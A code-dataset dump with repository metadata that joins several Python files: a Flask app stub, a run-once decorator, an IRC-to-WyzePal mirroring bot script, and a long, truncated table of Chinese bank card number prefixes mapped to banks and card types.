return render_template('index.html')
if __name__ == "__main__":
app.run(debug=True)
| [
"mcolbert1@live.maryville.edu"
] | mcolbert1@live.maryville.edu |
d0524ffbeb76c33460c74e5044af00eab4e4d8d4 | 1d23096f13aef1378faeb00d610be42ec8ba2a12 | /zeroth/utils/onlyonce.py | 789dadb33acffd9c98a776ab8df662f195e016ee | [
"MIT"
] | permissive | njvrzm/zeroth | c6c4502c6773b04086edfa22d95b58c9ba8630aa | 26c000389403cd7e54dca7dfb9364b9fe50e161a | refs/heads/master | 2022-12-18T23:49:19.751055 | 2018-01-14T22:43:53 | 2018-01-14T22:43:53 | 116,141,302 | 0 | 0 | MIT | 2020-06-17T21:42:44 | 2018-01-03T13:42:38 | Jupyter Notebook | UTF-8 | Python | false | false | 282 | py | from functools import wraps
def onlyonce(fn):
"""Wraps a function to run once and return the same result thereafter."""
result = []
@wraps(fn)
def doit(*a, **k):
if not result:
result.append(fn(*a, **k))
return result[0]
return doit
| [
"njvrzm@gmail.com"
] | njvrzm@gmail.com |
d2c049e4b584b0d9ea9fe5ab855eaf54a61e1407 | 6de622e922361beac91e3cfc4cd67829451bc095 | /wyzepal/integrations/irc/irc-mirror.py | 3201a3ce7e0af7f254b1668150be83d0bdc59548 | [] | no_license | WyzePal/api | fd1f1771aa9e1bfeb5d5de102b3f525d905fae29 | 8646c90148885b1c4286557bd62cfcf844b9d107 | refs/heads/master | 2020-03-23T15:25:53.559240 | 2019-03-08T23:54:00 | 2019-03-08T23:54:00 | 141,747,661 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,885 | py | #!/usr/bin/env python
#
# EXPERIMENTAL
# IRC <=> WyzePal mirroring bot
#
# Setup: First, you need to install python-irc version 8.5.3
# (https://github.com/jaraco/irc)
from __future__ import print_function
import argparse
import wyzepal
import sys
import traceback
if False:
from typing import Any, Dict
usage = """./irc-mirror.py --irc-server=IRC_SERVER --channel=<CHANNEL> --nick-prefix=<NICK> [optional args]
Example:
./irc-mirror.py --irc-server=127.0.0.1 --channel='#test' --nick-prefix=username
Specify your WyzePal API credentials and server in a ~/.wyzepalrc file or using the options.
Note that "_wyzepal" will be automatically appended to the IRC nick provided
Also note that at present you need to edit this code to do the WyzePal => IRC side
"""
if __name__ == "__main__":
parser = wyzepal.add_default_arguments(argparse.ArgumentParser(usage=usage), allow_provisioning=True)
parser.add_argument('--irc-server', default=None)
parser.add_argument('--port', default=6667)
parser.add_argument('--nick-prefix', default=None)
parser.add_argument('--channel', default=None)
options = parser.parse_args()
# Setting the client to irc_mirror is critical for this to work
options.client = "irc_mirror"
wyzepal_client = wyzepal.init_from_options(options)
try:
from irc_mirror_backend import IRCBot
except ImportError as e:
traceback.print_exc()
print("You have unsatisfied dependencies. Install all missing dependencies with "
"{} --provision".format(sys.argv[0]))
sys.exit(1)
if options.irc_server is None or options.nick_prefix is None or options.channel is None:
parser.error("Missing required argument")
nickname = options.nick_prefix + "_wyzepal"
bot = IRCBot(wyzepal_client, options.channel, nickname, options.irc_server, options.port)
bot.start()
| [
"dannym@wyzepal.com"
] | dannym@wyzepal.com |
815b2adb791ec629b2fa794c0b5dd51d44c86c89 | c5420cee98aae008cb404ace7b8d21dcdf205a69 | /backend/app/constants/bank_config_list.py | 823cef03626c97aace26977fb26471be31ba3636 | [] | no_license | LyanJin/check-pay | 2aeb81f430a26410964e979b63d20c9d5aa7d46e | ff36deb73e667de16a73b1666bbeaf28f993f944 | refs/heads/master | 2023-01-14T03:38:00.907488 | 2019-11-04T09:29:27 | 2019-11-04T09:29:27 | 219,446,460 | 0 | 0 | null | 2023-01-04T16:14:10 | 2019-11-04T07:55:33 | Python | UTF-8 | Python | false | false | 59,843 | py | BANK_CONFIG_LIST = [
{
"bankName": "中国邮政储蓄银行",
"bankCode": "PSBC",
"patterns": [
{
"reg": r"/^(621096|621098|622150|622151|622181|622188|622199|955100|621095|620062|621285|621798|621799|621797|620529|621622|621599|621674|623218|623219)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(62215049|62215050|62215051|62218850|62218851|62218849)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622812|622810|622811|628310|625919)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "中国工商银行",
"bankCode": "ICBC",
"patterns": [
{
"reg": r"/^(620200|620302|620402|620403|620404|620406|620407|620409|620410|620411|620412|620502|620503|620405|620408|620512|620602|620604|620607|620611|620612|620704|620706|620707|620708|620709|620710|620609|620712|620713|620714|620802|620711|620904|620905|621001|620902|621103|621105|621106|621107|621102|621203|621204|621205|621206|621207|621208|621209|621210|621302|621303|621202|621305|621306|621307|621309|621311|621313|621211|621315|621304|621402|621404|621405|621406|621407|621408|621409|621410|621502|621317|621511|621602|621603|621604|621605|621608|621609|621610|621611|621612|621613|621614|621615|621616|621617|621607|621606|621804|621807|621813|621814|621817|621901|621904|621905|621906|621907|621908|621909|621910|621911|621912|621913|621915|622002|621903|622004|622005|622006|622007|622008|622010|622011|622012|621914|622015|622016|622003|622018|622019|622020|622102|622103|622104|622105|622013|622111|622114|622017|622110|622303|622304|622305|622306|622307|622308|622309|622314|622315|622317|622302|622402|622403|622404|622313|622504|622505|622509|622513|622517|622502|622604|622605|622606|622510|622703|622715|622806|622902|622903|622706|623002|623006|623008|623011|623012|622904|623015|623100|623202|623301|623400|623500|623602|623803|623901|623014|624100|624200|624301|624402|623700|624000)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622200|622202|622203|622208|621225|620058|621281|900000|621558|621559|621722|621723|620086|621226|621618|620516|621227|621288|621721|900010|623062|621670|621720|621379|621240|621724|621762|621414|621375|622926|622927|622928|622929|622930|622931|621733|621732|621372|621369|621763)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(402791|427028|427038|548259|621376|621423|621428|621434|621761|621749|621300|621378|622944|622949|621371|621730|621734|621433|621370|621764|621464|621765|621750|621377|621367|621374|621731|621781)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(9558)\d{15}$/g",
"cardType": "DC"
},
{
"reg": r"/^(370246|370248|370249|370247|370267|374738|374739)\d{9}$/g",
"cardType": "CC"
},
{
"reg": r"/^(427010|427018|427019|427020|427029|427030|427039|438125|438126|451804|451810|451811|458071|489734|489735|489736|510529|427062|524091|427064|530970|530990|558360|524047|525498|622230|622231|622232|622233|622234|622235|622237|622239|622240|622245|622238|451804|451810|451811|458071|628288|628286|622206|526836|513685|543098|458441|622246|544210|548943|356879|356880|356881|356882|528856|625330|625331|625332|622236|524374|550213|625929|625927|625939|625987|625930|625114|622159|625021|625022|625932|622889|625900|625915|625916|622171|625931|625113|625928|625914|625986|625925|625921|625926|625942|622158|625917|625922|625934|625933|625920|625924|625017|625018|625019)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(45806|53098|45806|53098)\d{11}$/g",
"cardType": "CC"
},
{
"reg": r"/^(622210|622211|622212|622213|622214|622220|622223|622225|622229|622215|622224)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(620054|620142|620184|620030|620050|620143|620149|620124|620183|620094|620186|620148|620185)\d{10}$/g",
"cardType": "PC"
},
{
"reg": r"/^(620114|620187|620046)\d{13}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "中国农业银行",
"bankCode": "ABC",
"patterns": [
{
"reg": r"/^(622841|622824|622826|622848|620059|621282|622828|622823|621336|621619|622821|622822|622825|622827|622845|622849|623018|623206|621671|622840|622843|622844|622846|622847|620501)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(95595|95596|95597|95598|95599)\d{14}$/g",
"cardType": "DC"
},
{
"reg": r"/^(103)\d{16}$/g",
"cardType": "DC"
},
{
"reg": r"/^(403361|404117|404118|404119|404120|404121|463758|519412|519413|520082|520083|552599|558730|514027|622836|622837|628268|625996|625998|625997|622838|625336|625826|625827|544243|548478|628269)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(622820|622830)\d{10}$/g",
"cardType": "SCC"
}
]
},
{
"bankName": "中国银行",
"bankCode": "BOC",
"patterns": [
{
"reg": r"/^(621660|621661|621662|621663|621665|621667|621668|621669|621666|456351|601382|621256|621212|621283|620061|621725|621330|621331|621332|621333|621297|621568|621569|621672|623208|621620|621756|621757|621758|621759|621785|621786|621787|621788|621789|621790|622273|622274|622771|622772|622770|621741|621041)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621293|621294|621342|621343|621364|621394|621648|621248|621215|621249|621231|621638|621334|621395|623040|622348)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625908|625910|625909|356833|356835|409665|409666|409668|409669|409670|409671|409672|512315|512316|512411|512412|514957|409667|438088|552742|553131|514958|622760|628388|518377|622788|628313|628312|622750|622751|625145|622479|622480|622789|625140|622346|622347)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(518378|518379|518474|518475|518476|524865|525745|525746|547766|558868|622752|622753|622755|524864|622757|622758|622759|622761|622762|622763|622756|622754|622764|622765|558869|625905|625906|625907|625333)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(53591|49102|377677)\d{11}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(620514|620025|620026|620210|620211|620019|620035|620202|620203|620048|620515|920000)\d{10}$/g",
"cardType": "PC"
},
{
"reg": r"/^(620040|620531|620513|921000|620038)\d{13}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "中国建设银行",
"bankCode": "CCB",
"patterns": [
{
"reg": r"/^(621284|436742|589970|620060|621081|621467|621598|621621|621700|622280|622700|623211|623668)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(421349|434061|434062|524094|526410|552245|621080|621082|621466|621488|621499|622966|622988|622382|621487|621083|621084|620107)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(436742193|622280193)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(553242)\d{12}$/g",
"cardType": "CC"
},
{
"reg": r"/^(625362|625363|628316|628317|356896|356899|356895|436718|436738|436745|436748|489592|531693|532450|532458|544887|552801|557080|558895|559051|622166|622168|622708|625964|625965|625966|628266|628366|622381|622675|622676|622677)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(5453242|5491031|5544033)\d{11}$/g",
"cardType": "CC"
},
{
"reg": r"/^(622725|622728|436728|453242|491031|544033|622707|625955|625956)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(53242|53243)\d{11}$/g",
"cardType": "SCC"
}
]
},
{
"bankName": "中国交通银行",
"bankCode": "COMM",
"patterns": [
{
"reg": r"/^(622261|622260|622262|621002|621069|621436|621335)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(620013)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(405512|601428|405512|601428|622258|622259|405512|601428)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(49104|53783)\d{11}$/g",
"cardType": "CC"
},
{
"reg": r"/^(434910|458123|458124|520169|522964|552853|622250|622251|521899|622253|622656|628216|622252|955590|955591|955592|955593|628218|625028|625029)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(622254|622255|622256|622257|622284)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(620021|620521)\d{13}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "招商银行",
"bankCode": "CMB",
"patterns": [
{
"reg": r"/^(402658|410062|468203|512425|524011|622580|622588|622598|622609|95555|621286|621483|621485|621486|621299)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(690755)\d{9}$/g",
"cardType": "DC"
},
{
"reg": r"/^(690755)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(356885|356886|356887|356888|356890|439188|439227|479228|479229|521302|356889|545620|545621|545947|545948|552534|552587|622575|622576|622577|622578|622579|545619|622581|622582|545623|628290|439225|518710|518718|628362|439226|628262|625802|625803)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(370285|370286|370287|370289)\d{9}$/g",
"cardType": "CC"
},
{
"reg": r"/^(620520)\d{13}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "中国民生银行",
"bankCode": "CMBC",
"patterns": [
{
"reg": r"/^(622615|622616|622618|622622|622617|622619|415599|421393|421865|427570|427571|472067|472068|622620)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(545392|545393|545431|545447|356859|356857|407405|421869|421870|421871|512466|356856|528948|552288|622600|622601|622602|517636|622621|628258|556610|622603|464580|464581|523952|545217|553161|356858|622623|625912|625913|625911)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(377155|377152|377153|377158)\d{9}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "中国光大银行",
"bankCode": "CEB",
"patterns": [
{
"reg": r"/^(303)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(90030)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(620535)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(620085|622660|622662|622663|622664|622665|622666|622667|622669|622670|622671|622672|622668|622661|622674|622673|620518|621489|621492)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(356837|356838|486497|622657|622685|622659|622687|625978|625980|625981|625979|356839|356840|406252|406254|425862|481699|524090|543159|622161|622570|622650|622655|622658|625975|625977|628201|628202|625339|625976)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "中信银行",
"bankCode": "CITIC",
"patterns": [
{
"reg": r"/^(433670|433680|442729|442730|620082|622690|622691|622692|622696|622698|622998|622999|433671|968807|968808|968809|621771|621767|621768|621770|621772|621773|622453|622456)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622459)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(376968|376969|376966)\d{9}$/g",
"cardType": "CC"
},
{
"reg": r"/^(400360|403391|403392|404158|404159|404171|404172|404173|404174|404157|433667|433668|433669|514906|403393|520108|433666|558916|622678|622679|622680|622688|622689|628206|556617|628209|518212|628208|356390|356391|356392|622916|622918|622919)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "华夏银行",
"bankCode": "HXBANK",
"patterns": [
{
"reg": r"/^(622630|622631|622632|622633|999999|621222|623020|623021|623022|623023)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(523959|528709|539867|539868|622637|622638|628318|528708|622636|625967|625968|625969)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "深发/平安银行",
"bankCode": "SPABANK",
"patterns": [
{
"reg": r"/^(621626|623058)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(602907|622986|622989|622298|627069|627068|627066|627067|412963|415752|415753|622535|622536|622538|622539|998800|412962|622983)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(531659|622157|528020|622155|622156|526855|356869|356868|625360|625361|628296|435744|435745|483536|622525|622526|998801|998802)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(620010)\d{10}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "兴业银行",
"bankCode": "CIB",
"patterns": [
{
"reg": r"/^(438589)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(90592)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(966666|622909|438588|622908)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(461982|486493|486494|486861|523036|451289|527414|528057|622901|622902|622922|628212|451290|524070|625084|625085|625086|625087|548738|549633|552398|625082|625083|625960|625961|625962|625963)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(620010)\d{10}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "上海银行",
"bankCode": "SHBANK",
"patterns": [
{
"reg": r"/^(621050|622172|622985|622987|620522|622267|622278|622279|622468|622892|940021)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(438600)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(356827|356828|356830|402673|402674|486466|519498|520131|524031|548838|622148|622149|622268|356829|622300|628230|622269|625099|625953)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "浦东发展银行",
"bankCode": "SPDB",
"patterns": [
{
"reg": r"/^(622516|622517|622518|622521|622522|622523|984301|984303|621352|621793|621795|621796|621351|621390|621792|621791)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(84301|84336|84373|84385|84390|87000|87010|87030|87040|84380|84361|87050|84342)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(356851|356852|404738|404739|456418|498451|515672|356850|517650|525998|622177|622277|628222|622500|628221|622176|622276|622228|625957|625958|625993|625831)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(622520|622519)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(620530)\d{13}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "广发银行",
"bankCode": "GDB",
"patterns": [
{
"reg": r"/^(622516|622517|622518|622521|622522|622523|984301|984303|621352|621793|621795|621796|621351|621390|621792|621791)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622568|6858001|6858009|621462)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(9111)\d{15}$/g",
"cardType": "DC"
},
{
"reg": r"/^(406365|406366|428911|436768|436769|436770|487013|491032|491033|491034|491035|491036|491037|491038|436771|518364|520152|520382|541709|541710|548844|552794|493427|622555|622556|622557|622558|622559|622560|528931|558894|625072|625071|628260|628259|625805|625806|625807|625808|625809|625810)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(685800|6858000)\d{13}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "渤海银行",
"bankCode": "BOHAIB",
"patterns": [
{
"reg": r"/^(621268|622684|622884|621453)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "广州银行",
"bankCode": "GCB",
"patterns": [
{
"reg": r"/^(603445|622467|940016|621463)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "金华银行",
"bankCode": "JHBANK",
"patterns": [
{
"reg": r"/^(622449|940051)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622450|628204)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "温州银行",
"bankCode": "WZCB",
"patterns": [
{
"reg": r"/^(621977)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622868|622899|628255)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "徽商银行",
"bankCode": "HSBANK",
"patterns": [
{
"reg": r"/^(622877|622879|621775|623203)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(603601|622137|622327|622340|622366)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628251|622651|625828)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "江苏银行",
"bankCode": "JSBANK",
"patterns": [
{
"reg": r"/^(621076|622173|622131|621579|622876)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(504923|622422|622447|940076)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628210|622283|625902)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "南京银行",
"bankCode": "NJCB",
"patterns": [
{
"reg": r"/^(621777|622305|621259)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622303|628242|622595|622596)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "宁波银行",
"bankCode": "NBBANK",
"patterns": [
{
"reg": r"/^(621279|622281|622316|940022)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621418)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625903|622778|628207|512431|520194|622282|622318)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "北京银行",
"bankCode": "BJBANK",
"patterns": [
{
"reg": r"/^(623111|421317|422161|602969|422160|621030|621420|621468)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(522001|622163|622853|628203|622851|622852)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "北京农村商业银行",
"bankCode": "BJRCB",
"patterns": [
{
"reg": r"/^(620088|621068|622138|621066|621560)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625526|625186|628336)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "汇丰银行",
"bankCode": "HSBC",
"patterns": [
{
"reg": r"/^(622946)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622406|621442)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622407|621443)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622360|622361|625034|625096|625098)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "渣打银行",
"bankCode": "SCB",
"patterns": [
{
"reg": r"/^(622948|621740|622942|622994)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622482|622483|622484)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "花旗银行",
"bankCode": "CITI",
"patterns": [
{
"reg": r"/^(621062|621063)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625076|625077|625074|625075|622371|625091)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "东亚银行",
"bankCode": "HKBEA",
"patterns": [
{
"reg": r"/^(622933|622938|623031|622943|621411)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622372|622471|622472|622265|622266|625972|625973)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(622365)\d{11}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "广东华兴银行",
"bankCode": "GHB",
"patterns": [
{
"reg": r"/^(621469|621625)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "深圳农村商业银行",
"bankCode": "SRCB",
"patterns": [
{
"reg": r"/^(622128|622129|623035)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "广州农村商业银行股份有限公司",
"bankCode": "GZRCU",
"patterns": [
{
"reg": r"/^(909810|940035|621522|622439)\d{12}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "东莞农村商业银行",
"bankCode": "DRCBCL",
"patterns": [
{
"reg": r"/^(622328|940062|623038)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625288|625888)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "东莞市商业银行",
"bankCode": "BOD",
"patterns": [
{
"reg": r"/^(622333|940050)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621439|623010)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622888)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "广东省农村信用社联合社",
"bankCode": "GDRCC",
"patterns": [
{
"reg": r"/^(622302)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622477|622509|622510|622362|621018|621518)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "大新银行",
"bankCode": "DSB",
"patterns": [
{
"reg": r"/^(622297|621277)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622375|622489)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622293|622295|622296|622373|622451|622294|625940)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "永亨银行",
"bankCode": "WHB",
"patterns": [
{
"reg": r"/^(622871|622958|622963|622957|622861|622932|622862|621298)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622798|625010|622775|622785)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "星展银行香港有限公司",
"bankCode": "DBS",
"patterns": [
{
"reg": r"/^(621016|621015)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622487|622490|622491|622492)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622487|622490|622491|622492|621744|621745|621746|621747)\d{11}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "恒丰银行",
"bankCode": "EGBANK",
"patterns": [
{
"reg": r"/^(623078)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622384|940034)\d{11}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "天津市商业银行",
"bankCode": "TCCB",
"patterns": [
{
"reg": r"/^(940015|622331)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(6091201)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622426|628205)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "天津滨海德商村镇银行",
"bankCode": "BDCBANK",
"patterns": [
{
"reg": r"/^(621091)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "浙商银行",
"bankCode": "CZBANK",
"patterns": [
{
"reg": r"/^(621019|622309|621019)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(6223091100|6223092900|6223093310|6223093320|6223093330|6223093370|6223093380|6223096510|6223097910)\d{9}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "南洋商业银行",
"bankCode": "NCB",
"patterns": [
{
"reg": r"/^(621213|621289|621290|621291|621292|621042|621743)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(623041|622351)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625046|625044|625058|622349|622350)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(620208|620209|625093|625095)\d{10}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "厦门银行",
"bankCode": "XMBANK",
"patterns": [
{
"reg": r"/^(622393|940023)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(6886592)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(623019|621600|)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "福建海峡银行",
"bankCode": "FJHXBC",
"patterns": [
{
"reg": r"/^(622388)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621267|623063)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(620043|)\d{12}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "吉林银行",
"bankCode": "JLBANK",
"patterns": [
{
"reg": r"/^(622865|623131)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(940012)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622178|622179|628358)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "汉口银行",
"bankCode": "HKB",
"patterns": [
{
"reg": r"/^(990027)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622325|623105|623029)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "盛京银行",
"bankCode": "SJBANK",
"patterns": [
{
"reg": r"/^(566666)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622455|940039)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(623108|623081)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622466|628285)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "大连银行",
"bankCode": "DLB",
"patterns": [
{
"reg": r"/^(603708)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622993|623069|623070|623172|623173)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622383|622385|628299)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "河北银行",
"bankCode": "BHB",
"patterns": [
{
"reg": r"/^(622498|622499|623000|940046)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622921|628321)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "乌鲁木齐市商业银行",
"bankCode": "URMQCCB",
"patterns": [
{
"reg": r"/^(621751|622143|940001|621754)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622476|628278)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "绍兴银行",
"bankCode": "SXCB",
"patterns": [
{
"reg": r"/^(622486)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(603602|623026|623086)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628291)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "成都商业银行",
"bankCode": "CDCB",
"patterns": [
{
"reg": r"/^(622152|622154|622996|622997|940027|622153|622135|621482|621532)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "抚顺银行",
"bankCode": "FSCB",
"patterns": [
{
"reg": r"/^(622442)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(940053)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622442|623099)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "郑州银行",
"bankCode": "ZZBANK",
"patterns": [
{
"reg": r"/^(622421)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(940056)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(96828)\d{11}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "宁夏银行",
"bankCode": "NXBANK",
"patterns": [
{
"reg": r"/^(621529|622429|621417|623089|623200)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628214|625529|622428)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "重庆银行",
"bankCode": "CQBANK",
"patterns": [
{
"reg": r"/^(9896)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622134|940018|623016)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "哈尔滨银行",
"bankCode": "HRBANK",
"patterns": [
{
"reg": r"/^(621577|622425)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(940049)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622425)\d{11}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "兰州银行",
"bankCode": "LZYH",
"patterns": [
{
"reg": r"/^(622139|940040|628263)\d{10}$/g",
"cardType": "DC"
},
{
